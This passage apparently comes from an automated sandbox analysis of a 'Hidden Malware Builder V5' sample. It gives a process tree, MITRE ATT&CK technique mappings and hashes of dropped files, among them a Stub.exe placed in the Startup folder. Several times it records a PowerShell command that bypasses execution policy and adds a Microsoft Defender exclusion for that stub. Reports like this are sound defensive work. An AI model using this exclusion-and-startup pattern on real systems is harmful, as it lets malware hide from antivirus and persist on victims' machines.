- Command and Scripting Interpreter: PowerShell
PID:224

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:4520

C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
3⤵
- Executes dropped EXE
PID:5952

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5952 -s 952
4⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4004

C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe
"C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe"
2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:3496

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
PID:1560

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
- Suspicious use of SetWindowsHookEx
PID:3464

C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
3⤵
- Executes dropped EXE
PID:824

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 824 -s 952
4⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5900

C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\Tools\ILMerge.exe
"C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\Tools\ILMerge.exe"
2⤵
- Executes dropped EXE
PID:5340

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
- Suspicious use of SetWindowsHookEx
PID:2132

C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe
"C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe"
2⤵
PID:1248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
PID:5664

C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
3⤵
PID:456

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /7
2⤵
PID:3964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3556

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
PID:4084

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:2120

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3680

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3840

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2892

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:2776

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4232

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4020

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2228

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:4812

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4544

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:4168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4108

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 508 -p 2200 -ip 2200
2⤵
PID:3788

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:880

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}
1⤵
PID:4044

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:2488

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3324

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
1⤵
PID:1956

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:4000

C:\Windows\ImmersiveControlPanel\SystemSettings.exe
"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3364

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:3320

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SDRSVC
1⤵
PID:5312

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5844

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 184 -p 5952 -ip 5952
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2700

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 184 -p 824 -ip 824
2⤵
PID:5456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER11ED.tmp.csv

Filesize
39KB

MD5
08091d5022f62f21211f0381d3f5d0a5

SHA1
0fbdc8a051e3fb87f75f49025aeb6809186b6b07

SHA256
8e2bcf2ce63f260bc48570ebd9dc244d800af0a9095d36b2889e206f3a16c307

SHA512
ef1258e47bda57abfe3305138dca6f52507705957ccf26d3bbce76e5403924e0b75b5a5d6ca8be2b32688601ae60ba479645fd28b48c35f0c3a7fb5fea9c6473

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER123D.tmp.txt

Filesize
13KB

MD5
50416402d3e2174b4ee30bf04e5b0d5c

SHA1
8be285efbdc843641ecae1f77f6cc1fda5367dfa

SHA256
8930fb1327c7ae13b48965244ff1a0840e28ea7c1f894676137ea64e4993ff32

SHA512
883cc127bd2f7d1a1a8b15c59d7f36265c6f64a615bd033cda945bfff66da52e78326054985731c2047724b8983122738a300dfbcb475aa8457a1df577a5bd98

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D2C.tmp.csv

Filesize
39KB

MD5
7ee93bbb7d46cc964be4b714a37a1b8b

SHA1
a9ba1b49b26ff5b6af2e0a9e16be4bd24f5848cc

SHA256
04df07274440c8dca393a720166b9674d0a93a2849fc62b9cb9a52a23099ece2

SHA512
961f355340f3824726ee0f6013e569f65c5414655bdc6b69eca57679c7a7c6d5f8d9112687ef9ce551d6b5a6986976b4e0be9d1f97e84ce04c6ebdc6199d1a10

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5D5C.tmp.txt

Filesize
13KB

MD5
e2e82ea65f4ca77aeccc32cb196f5d76

SHA1
7c99f38a76b615f431e383595dc2e7f2bc13ee4b

SHA256
051aeeffd94eb5483cd58001922339655c9c5ede4d16358da482587ce3739a79

SHA512
ab1307485bd1a34efe4ca8f54a8d9d80cb1418d9051718eb850a8e54761b879e141da5dfe2158820e631e07e9b7a0536bd66d36ca40c4cadb841bfd047bbb586

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F79.tmp.csv

Filesize
40KB

MD5
08add08cb551c5e14b3be791cff4f0a7

SHA1
1afad67050e1e20192bc967c8991bf2a1a53ccce

SHA256
9d6a9edccf7aca53ab10a58aed7a2086cad64cc4f0485a99025f94572863e60c

SHA512
16bac19e430e674082c970030147a9bd177a0b39477ca622a150e83aad35f2c4bf7e1154b722419ddf5a797543a06f8840ca3ad5265555d76eb23a10d87876f1

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F99.tmp.txt

Filesize
13KB

MD5
53822f64b7e3c25d5feba9c184712248

SHA1
e1fbd7b7243b77c87025d3eb3f325a9bf9f2e40a

SHA256
42fc5cd062c423f3d408aa15f4d0659afd743c08b8724ee45244b3dcf932b8fd

SHA512
e7352d5afd1e79b0de7599aadeb704f0d66650f5e015590922682e2c8c5dc0dd087ff42f8cde63d1cc4549f033d206f17772466a73be2f0663c16947c8fcabb0

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB64E.tmp.csv

Filesize
40KB

MD5
0960059870206ddd270cf2047d7c903d

SHA1
03df1ce6c3b5a5feaf5f662769ebce3dd14f03c2

SHA256
f4d6b2a1391adb02762d5b743a5e3bbf22c852ea8d34066ca5220314e109b757

SHA512
d4d97631733b9bbd7ae185ef404ecca2bf598a3ef8182a75f65f8daa2762cdaed324123bffce1921e3fe4ce79daf0161e4f5426ea0396513504a9abbf15589eb

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB67E.tmp.txt

Filesize
13KB

MD5
cebde5abdda5235c00571c6b294fe1f1

SHA1
b0945e1546cd9b7447130e05a721e6125811d3ab

SHA256
c9da1fafda964ab9cb5677070e3e7014b9e1ab1491e4f72b559affc0e6955f2c

SHA512
3a7797ae5eda2b97cc4a864433db3d3b6f35086dea9c8e909fae01c7b96e8160d54762278b85baa304f971660a090e1b1333d34e8ec337469601cdf85da69cf2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D

Filesize
400B

MD5
163c4f81959dc32c42604df90f52722b

SHA1
5c7724724c190c9bf13de2e00e9a74c1d82e7173

SHA256
925f0681ff1c648fa3f167f8ff409e4083c0e36992d72c3b686701ee337f1a1b

SHA512
6875bef67dcf11c6cb07d2965376e5f8ab3302a16bf51815bb4e65e45484ddd236bc4ccccf9ff97fee75e2222123fdafc89004dd1fc3331ae106d2f554f8d40c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
c8a09339098c96ce48962c4b81fe5e5a

SHA1
6765f072f815289c5656a42a3aea2eaf1bf86605

SHA256
8a1a0913d8583fdbef190300b71e6289636570b9aebe82e2f65eebf61945493a

SHA512
c32421ca973ed336cf1faca8da5faa8263c99739aa613694c9d2e3bf9abc169cea41c556999980413778d940da64dcce97ec8f38d64b18c607f4c95af2f284bb

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
412B

MD5
4c279653dc110e9131d91e4a4e636998

SHA1
4ae1f50b3afbefa8aa44d73cad5dbdaf7243d2f7

SHA256
cfd36bf4ce3d8504247dce7315ace942fcd32a720dc087a1ee2502e66310b2cb

SHA512
e662f095796c392772084360edf2392a308bf4de3b2c56fbea4c5f99b91a8072dd148975b61a645f8a705f834e373cf455535409a9710b4d7dd26dd1fb6c7311

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Filesize
330B

MD5
cbc6c81936a10bc3a67c7a10f8735015

SHA1
c5f353e7f23c1610b36f833c88d6dd247cf14c77

SHA256
2f6f0bdab1616d076546c3319e8ab0ee0cdb92247d58f8b7f0e52c650062302f

SHA512
e42ce2cd93c842e6b03d447754f8dde8b30384be43e41dbaff68d39556cb66c2e96a2831e0444d80eace7498788c9d629e663ab2e6454f04b84a1ab0a550c1f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\H-Malware Builder V5.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ebf41b0b83823eebf1a74444ab5b2cb0

SHA1
22edc4f5824e47ba9233a68e27053dc35d25d6bb

SHA256
5b0cefe7be19d42d66fc29b8e804be4ea1d8daa2c8642a1cd25da91b64dbf477

SHA512
417a1f90cfb923493ccd9f94b0b65806bc42965a472ad78676e63d9c434a1f2794bd0fc3ae472b79d16b40b1dc718485274fdd0f52ebb828e8d1bbd64a308a42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
64abfe0e3c5e97f20152d70efc6e855f

SHA1
be28929558b06404ed74118f404445762d737a2f

SHA256
888cd3dea56188d15074be3dad5f48b5c4149bdaf2cec6357536b7092487c1c3

SHA512
772dd05055720e48230f8804c3c853e4be30325c9c6c752165af427f9a66dd3e1512bc068ff3e6656445989f5c7609422d7c0b80217a0a02fde24784f539ef5f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ef72c47dbfaae0b9b0d09f22ad4afe20

SHA1
5357f66ba69b89440b99d4273b74221670129338

SHA256
692ec20c7039170fb199510f0436181fd155e6b4516d4d1c9e1675adf99aaa7f

SHA512
7514b6bc8dc39fa618223300be27cd535dc35b18c66b4a089e2302e72b3e0cac06d88a989fa1296feb386b3cbe2084019df6430c7f895071b76e04ce559a30b4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
10890cda4b6eab618e926c4118ab0647

SHA1
1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

SHA256
00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

SHA512
a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
3794e0be3041ae5d2fecf48a27e5b1f4

SHA1
cc295288e4370e65a20f9311e9784e90be4bc47d

SHA256
17db598213805839d22c3463a06f25e3cdd1ae5102cf1931c32281f362f81352

SHA512
84af1193d7d6b3aba2ab1380a58ecd7204d5fbc24fc3d9dbfc6e28c11e5c23f8c454ba0e735f39c9d1d84af12b190595afe800409e9ec71c0a3c259a675ef917

Download Submit
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe

Filesize
611KB

MD5
515c515dc79e543c37bbfa3726e4eedb

SHA1
26204367d2fb407d04696e0b824472ae37a7792f

SHA256
1ff13dcc9b8d8ff1117a56ea10fdbdc41702c69b0031ebc23ae3978f673c9d31

SHA512
6910bccfc9933a29ef7a11cb09acc89c13f81f23163a62e6ef6cfb01b8819184d052fcacec9ea1005dd3318f3385353d5813078f25076203bae45abd88b29d23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adjulhux.fba.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f18460fded109990.customDestinations-ms

Filesize
24B

MD5
4fcb2a3ee025e4a10d21e1b154873fe2

SHA1
57658e2fa594b7d0b99d02e041d0f3418e58856b

SHA256
90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228

SHA512
4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe

Filesize
290KB

MD5
cc63633edfcc147cbaed1959b03d8730

SHA1
df7a250eba6ee1767b09f7923bfd735635deb9e8

SHA256
e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417

SHA512
a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4

Download Submit
C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe

Filesize
407KB

MD5
c8f6d76b4ae82978272bde392561c4f4

SHA1
80447d36fcf88cc9caa806db53e22d9468cc31ee

SHA256
c981ebcf0c0cf857162ae35b9385c22d3198c2ec9ea00e37fcfe74a79eb3510e

SHA512
10fa87f050a9ceb658e443317158ef8b1dbaa9e183ec61b5e5e42adb562f7918d996134aba7f0bbad852def4d6b0824c7b9716628b554194d0fd95974de6b2ad

Download Submit
C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\H-Malware Builder V5.exe.config

Filesize
1KB

MD5
3ccdef9ef8aeaeaa1857abb225f901c1

SHA1
3161fed09525aaf1ad74d03fd7a9294f005bffb5

SHA256
64081c78450d0771dfa215cb606d94f21f803162986f275a705cdd600a1256d2

SHA512
225a2a7d14dc84d72eaf5fb9915e50eb0dfb7be17fd11910652dfeba21e24385d231f0d4141620d729da973b182898371150781213e9260bd563c8ded91e4248

Download Submit
C:\Users\Admin\Desktop\Hidden-Malware-BuilderV5-main\Tools\ILMerge.exe

Filesize
912KB

MD5
35a3dc21f6e0ed6a8423f7455a379f9c

SHA1
631b3d76f02b386e0bac33fa8a0cb464cef984be

SHA256
4a0dac9d63c87b726285cbcab13757db23acb82f29f4bd4806a26997ce11f5f4

SHA512
3abea20d1e5d6083faca67901488d9ce318a4f9929afb1b223a9dcff4fa440408928183aa712e6d0d25dbcea603da31eae09a481641a6bcde9e8eda95e336cfb

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
a887085a10d5f59c3bf30bed4cf0db39

SHA1
547a560e400857f032d4d39d6d8e38c0393a475c

SHA256
53d251d3a3a54146cd299251bfb3ba0f720c2004d6ad9b3bf0a2522416bf74b3

SHA512
a7ad22ff0d92de0f96ff55f079e94072753dbebb2237f5298d8cc2e12a0b37ebc72e2d7204493d2e8c81e4a0264e8489393ca4047098f488076911db3ed10979

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

Filesize
330B

MD5
7e9e246128b064cf1304ffb043a13242

SHA1
b846dc82e10f0ba4496d12c827859aceb8334100

SHA256
68aa81476eab0cc1f25fabb11e20ffade87dfd00efdeae913b9b25f63fd3e268

SHA512
315a52944da256f8d2b80111c0fe3bf332b7e99f3343a1f6c3e3fab99570938ba5f631a5c049d5c441927cb7546352d4de42221c6a38ad489e0a188424e538a6

Download Submit
C:\Windows\System32\ovufcs.exe

Filesize
7.2MB

MD5
f6d8913637f1d5d2dc846de70ce02dc5

SHA1
5fc9c6ab334db1f875fbc59a03f5506c478c6c3e

SHA256
4e72ca1baee2c7c0f50a42614d101159a9c653a8d6f7498f7bf9d7026c24c187

SHA512
21217a0a0eca58fc6058101aa69cf30d5dbe419c21fa7a160f44d8ebbcf5f4011203542c8f400a9bb8ee3826706417f2939c402f605817df597b7ff812b43036

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9

Filesize
420B

MD5
e4d6e0b6928874e8baa58df7d34185e9

SHA1
41b624f0bbd76fcf852d5005ac200bd570603731

SHA256
229bc4622e095e04acaa23f0bdc9b2d1b915def488c81b57926ebf471126647e

SHA512
877c9ccb64b364e967c3f0838ca75e5fb96115da6046938c7517fa7dbf2b3a16e73956df930ff213c6f3a27d5cc9efeeeaa503a7ddf34f6cc3bf8a8ecae7f784

Download Submit
memory/60-151-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

Filesize
64KB

Download
